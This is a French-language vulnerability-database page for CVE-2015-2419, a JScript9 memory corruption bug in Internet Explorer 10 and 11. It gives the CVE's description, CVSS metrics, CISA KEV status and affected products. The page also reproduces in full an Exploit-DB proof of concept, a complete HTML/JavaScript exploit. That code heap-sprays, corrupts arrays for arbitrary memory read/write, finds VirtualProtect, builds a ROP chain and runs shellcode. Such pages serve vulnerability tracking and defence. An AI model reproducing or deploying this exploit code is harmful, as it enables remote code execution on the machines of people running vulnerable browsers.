CVE-2015-2419 : Détail

CVE-2015-2419

8.8
/
Haute
Overflow
68.97%V3
Network
2015-07-14
21h00 +00:00
2025-02-10
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

JScript 9 in Microsoft Internet Explorer 10 and 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "JScript9 Memory Corruption Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

nvd@nist.gov
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Microsoft Internet Explorer Memory Corruption Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Unknown

Ajouter le : 2022-03-27 22h00 +00:00

Action attendue : 2022-04-17 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 44743

Date de publication : 2016-01-31 23h00 +00:00
Auteur : checkpoint
EDB Vérifié : No

<html> <body> <script> ARR_SIZE = 3248; first_gadget_offsets = [150104,149432,152680,3202586,214836,3204663,361185,285227,103426,599295,365261,226292,410596,180980,226276,179716,320389,175621,307381,792144,183476]; stackpivot_gadget_offsets = [122908,122236,125484,2461125,208055,1572649,249826,271042,98055,62564,162095,163090,340146,172265,163058,170761,258290,166489,245298,172955,82542]; first_gadget = [0x89, 0x41, 0x0c, 0xc3]; stackpivot_gadget = [0x94, 0xc3]; gadget_offsets = {"stackpivot": 0, "g1": 0, "g2": 0}; function empty_replacer(a,b) { return b; } function create_list(lst, depth) { if (depth > 5) { return; } else { // Creates 19 objects in each nested list for (i = 0; i <= 19; i++) { // Create random string with length 8 for (var val = "", c = 0; c <= 8; c++) { rnd = Math.floor((Math.random() * 90) + 48); l = String.fromCharCode(rnd); val = val + l; } lst["a" + i] = val; } create_list(lst["a0"] = {}, depth + 1); } } function create_triggering_json() { var lst = {} create_list(lst, 0); return lst; } // Create vulnerable JSON trig_json = create_triggering_json(); spray = new Array(4096); buff = new ArrayBuffer(4); size = 0; // Heap Spray var I = setInterval(function(){ for (i=0;i<400;i++,size++) { spray[size] = new Array(15352); for (j = 0; j< 85;j++) { spray[size][j] = new Uint32Array(buff); } 0 == i && (yb = spray[0][0]["length"], yb["toString"](16)) } size >= (4096) && (clearInterval(I), uaf()) }, 100); var arr = [] function uaf() { JSON.stringify(trig_json,empty_replacer); var pattern = [311357464,311357472,311357464]; for (var b = 3248 * 2, c = 203; c < b; c++) arr[c] = new ArrayBuffer(12); for (c = 203; c < b; c++) { var data = new Uint32Array(arr[c],0); a = 0; for (var i = data["length"] / pattern["length"]; a < i; a++) for (var d=0, e = pattern["length"]; d < e;d++) data[a+d] = pattern[d]; } CollectGarbage(); search_corrupted_array(); } var damaged_array; function search_corrupted_array() { for (i=0;i<4096;i++) { for (j = 0; j< 85;j++) { if (spray[i][j].length != 1) { damaged_array = spray[i][j]; damaged_array[1] = 0x7fffffff; // Set array to include almost entire user-space damaged_array[2] = 0x10000; write_dword_to_addr(damaged_array, 0x128e0020, 0xDEC0DE * 2 | 1); // Mark the first element of one of the arrays, to find it later for (k = 0; k < 4096; k++) { // find the marked array if (spray[k][0] == 0xDEC0DE) { break; } } // now spray[k][0] is 0x128e0020 if (k == 4096) break; spray[k][2] = new Array(1); // creates a native integer array, pointed by 0x128e0028 spray[k][2][0] = new ArrayBuffer(0xc); // turns the array to be JavascriptArray arr_obj = read_dword_from_addr(damaged_array, 0x128e0028); // address of the new JavascriptArray object jscript9_base_addr = read_dword_from_addr(damaged_array, arr_obj) & 0xffff0000; // read the first dword of the JavascriptArray object, which is the vftable pointer, null the lower word to get jscript9 base address vp_addr = get_vp_addr(damaged_array, jscript9_base_addr); // virtual address of kernel32!VirtualProtectStub if (vp_addr == 0) break; arrbuf = new ArrayBuffer(0x5000); // this buffer will contain the ROP chain spray[k][0] = new Uint32Array(arrbuf); // Uint32Array that is a view to the arraybuffer above, pointed by 0x128e0020 rc_buf_ui32_obj = read_dword_from_addr(damaged_array, 0x128e0020); // address of the Uint32Array object rc_buf_ui32_data = read_dword_from_addr(damaged_array, rc_buf_ui32_obj + 0x20); // address of first element of Uint32Array above var shellcode_caller = [0x53, 0x55, 0x56, 0xe8, 0x09, 0x00, 0x00, 0x00, 0x5e, 0x5d, 0x5b, 0x8b, 0x63, 0x0c, 0xc2, 0x0c, 0x00, 0x90]; var shellcode = [96, 49, 210, 82, 104, 99, 97, 108, 99, 84, 89, 82, 81, 100, 139, 114, 48, 139, 118, 12, 139, 118, 12, 173, 139, 48, 139, 126, 24, 139, 95, 60, 139, 92, 31, 120, 139, 116, 31, 32, 1, 254, 139, 84, 31, 36, 15, 183, 44, 23, 66, 66, 173, 129, 60, 7, 87, 105, 110, 69, 117, 240, 139, 116, 31, 28, 1, 254, 3, 60, 174, 255, 215, 88, 88, 97, 195]; // open calc.exe shellcode spray[k][1] = new Uint8Array(shellcode_caller.concat(shellcode)); // shellcode, pointed by 0x128e0024 sc_obj = read_dword_from_addr(damaged_array, 0x128e0024); // address of the Uint8Array object containing the shellcode sc_data = read_dword_from_addr(damaged_array, sc_obj + 0x20); // address of the shellcode buffer itself construct_gadget_dict(damaged_array, jscript9_base_addr); // construct the ROP chain spray[k][0][0] = jscript9_base_addr + gadget_offsets["g1"]; // mov dword ptr [ecx+0c], eax # ret spray[k][0][1] = jscript9_base_addr + gadget_offsets["g2"]; // ret spray[k][0][2] = vp_addr; // VirtualProtectStub pointer spray[k][0][3] = sc_data; // shellcode address (return address to which we return after VirtualProtect) spray[k][0][4] = sc_data; // lpAddress spray[k][0][5] = spray[k][1].length; // dwSize spray[k][0][6] = 0x40; // flNewProtect = PAGE_EXECUTE_READWRITE spray[k][0][7] = rc_buf_ui32_data + 0x20; // lpflOldProtect spray[k][0][0x90 / 4] = jscript9_base_addr + gadget_offsets["stackpivot"]; // stackpivot gadget in offset 0x90 from ROP chain top write_dword_to_addr(damaged_array, arr_obj, rc_buf_ui32_data); // overwrite the JavascriptArray object's vftable pointer with the address of the ROP chain spray[k][2][0] = 0; // set the first item of the overwritten JavascriptArray object, triggering the call to JavascriptArray::SetItem. since the vftable is now the ROP chain, and SetItem is in offset 0x90 in the original vftable, this will trigger the stackpivot gadget } } } } function get_index_from_addr(addr) { return Math.floor((addr - 0x10000) / 4); } function get_iat_offset(arr, js9_base) { return 0x3e6000; } function get_pe_header_offset(arr, js9_base) { var offset = read_dword_from_addr(arr, js9_base + 0x3c); return offset; } function get_import_table_offset(arr, js9_base) { var pe_header_offset = get_pe_header_offset(arr, js9_base); var pe_header = js9_base + pe_header_offset; var import_table_offset = read_dword_from_addr(arr, pe_header + 0x80); return import_table_offset; } function get_import_table_size(arr, js9_base) { var pe_header_offset = get_pe_header_offset(arr, js9_base); var pe_header = js9_base + pe_header_offset; var import_table_size = read_dword_from_addr(arr, pe_header + 0x84); return import_table_size; } function get_vp_addr(arr, js9_base) { var kernel32_entry = get_kernel32_entry(arr, js9_base); var string_pointers_offset = read_dword_from_addr(arr, kernel32_entry - 0xc); var function_pointers_offset = read_dword_from_addr(arr, kernel32_entry + 0x4); var func_name = new String(); for (fptr = js9_base + function_pointers_offset, sptr = js9_base + string_pointers_offset; fptr != 0 && sptr != 0; fptr += 4, sptr += 4) { func_name = read_string_from_addr(arr, js9_base + read_dword_from_addr(arr, sptr) +2); if (func_name.indexOf("VirtualProtect") > -1) { return read_dword_from_addr(arr, fptr); } } return 0; } function get_kernel32_entry(arr, js9_base) { var it_addr = js9_base + get_import_table_offset(arr, js9_base); var it_size = get_import_table_size(arr, js9_base); var s = new String(); for (var next_addr = it_addr + 0xc; next_addr < js9_base + it_addr + it_size; next_addr += 0x14) { var it_entry = read_dword_from_addr(arr, next_addr); if (it_entry != 0) { s = read_string_from_addr(arr, js9_base + it_entry); if (s.indexOf("KERNEL32") > -1 || s.indexOf("kernel32") > -1) { return next_addr; } } } return 0; } function read_dword_from_addr(arr, addr) { return arr[get_index_from_addr(addr)]; } function read_byte_from_addr(arr, addr) { var mod = addr % 4; var ui32 = read_dword_from_addr(arr, addr); return ((ui32 >> (mod * 8)) & 0x000000ff); } function read_string_from_addr(arr, addr) { var s = new String(); var i = 0; for (i = addr, c = "stub"; c != String.fromCharCode(0); i++) { c = String.fromCharCode(read_byte_from_addr(arr, i)); s += c; } return s; } function write_dword_to_addr(arr, addr, data) { arr[get_index_from_addr(addr)] = data; } function find_gadget_offset(arr, js9_base, offsets, gadget, gadget_key) { var first_dword = 0x0, second_dword = 0x0, g = 0; var gadget_candidate = []; for (g = 0; g < offsets.length; g++) { first_dword = read_dword_from_addr(arr, js9_base + offsets[g]); second_dword = read_dword_from_addr(arr, js9_base + offsets[g] + 4); gadget_candidate = convert_reverse_ui32_to_array(first_dword); gadget_candidate = gadget_candidate.concat(convert_reverse_ui32_to_array(second_dword)); if (contains_gadget(gadget_candidate, gadget)) { gadget_offsets[gadget_key] = offsets[g]; break; } } } function construct_gadget_dict(arr, js9_base) { find_gadget_offset(arr, js9_base, first_gadget_offsets, first_gadget, "g1"); find_gadget_offset(arr, js9_base, stackpivot_gadget_offsets, stackpivot_gadget, "stackpivot"); if (gadget_offsets["stackpivot"] > 0) { gadget_offsets["g2"] = gadget_offsets["stackpivot"] + 1; } } function contains_gadget(arr, sub) { var i = 0; for (i = 0; i < sub.length; i++) { if (arr.indexOf(sub[i]) == -1) return false; } return true; } function convert_reverse_ui32_to_array(ui32) { var arr = []; var i = 0; var tmp = ui32; for (i = 0; i < 4; i++, tmp = tmp >> 8) { arr.push(tmp & 0x000000ff); } return arr; } </script> </body> </html>

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8 >> Version -

Microsoft>>Windows_rt >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 11

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version r2

Références

http://www.securitytracker.com/id/1032894
Tags : vdb-entry, x_refsource_SECTRACK